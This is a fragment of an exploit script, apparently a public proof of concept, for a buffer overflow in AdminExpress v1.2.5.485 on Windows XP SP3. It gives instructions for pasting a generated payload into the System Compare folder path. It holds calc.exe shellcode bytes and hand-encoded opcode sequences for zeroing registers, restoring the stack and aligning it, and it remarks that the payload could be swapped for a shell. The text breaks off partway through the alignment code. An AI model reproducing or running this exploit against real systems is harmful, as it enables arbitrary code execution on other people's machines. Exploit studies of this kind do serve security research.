# Version v1.2.5.485
# Tested on: Windows XP SP3 EN
# TO RUN:
# 1. Run python script
# 2. Copy contents of pwn.txt
# 3. Open AdminExpress
# 4. Select System Compare
# 5. Paste contents into Folder Path on the left hand side
# 6. Press the scale icon in the middle of the screen, under the Services and Running Processes tabs
# This got a bit hairy. We manually encoded our shellcode, and we had to use the sub method for each encode.
# 05 was a bad char for us, which was an add eax opcode. We could use (in hex) 1-4,6,10-7E. This was an odd character set.
# calc.exe shellcode:
# "\x31\xc9\x51\x68"
# "\x63\x61\x6c\x63"
# "\x54\xB8\xc7\x93"
# "\xc2\x77\xff\xd0"
# Can replace with a shell, if you are willing to do the encoding and decoding math :-) Too preoccupied for now, so here is a calc.exe
# You would need to use logicla AND and the SUB EAX opcodes to get a value on the stack that could jump back to the A buffer, where there is
# much more room. Then you would need to align the stack with the value you need (not 0x012F3F4 as used below), and write upwards on the stack.
# You should have enough room for all of the logical AND and SUB EAX commands to get a full shell on the stack.
# For zeroing out registers before manual shellcode
zero = "\x25\x01\x01\x01\x01" # and eax, 0x01010101
zero += "\x25\x10\x10\x10\x10" # and eax, 0x10101010
# For restoring stack pointer before execution of shellcode, due to
# old stack pointer value needed. This puts 0x0012DC98 into ECX, to be used later
restore = "\x54" # push esp; (pushing the current value of ESP, which needs to be restored later, onto the stack)
restore += "\x59" # pop ecx; (holding the value of old ESP in ECX, to be called later.)
restore += "\x51" # push ecx; (to get the value on the stack for the mov esp command later)
# Stack alignment
# Need to make ESP 0x012F3F4. Using sub method to write that value onto the stack.
# After making ESP 0x012F3F4, it should be the same value as EAX- so we can write up the stack.
alignment = "\x54" # push esp
alignment += "\x58" # pop eax; (puts the value of ESP into EAX)
# Write these 3 sub values in normal format, since memory address, not instruction to be executed.
# 384D5555 364D5555 364E5555
alignment += "\x2d\x38\x4d\x55\x55" # sub eax, 0x384D5555

alignment += "\x50" # push eax

# calc.exe shellcode, via the sub method. Values needed are as followed. Reference the calc.exe shellcode line for line numbers.

# We need to restore the old ESP value of 0x0012DC98 to spawn calc.exe. Since it is a syscall,
# We need the ESP value before execution. We will do this by performing MOV ECX, ESP (remember ECX contains old ESP!)
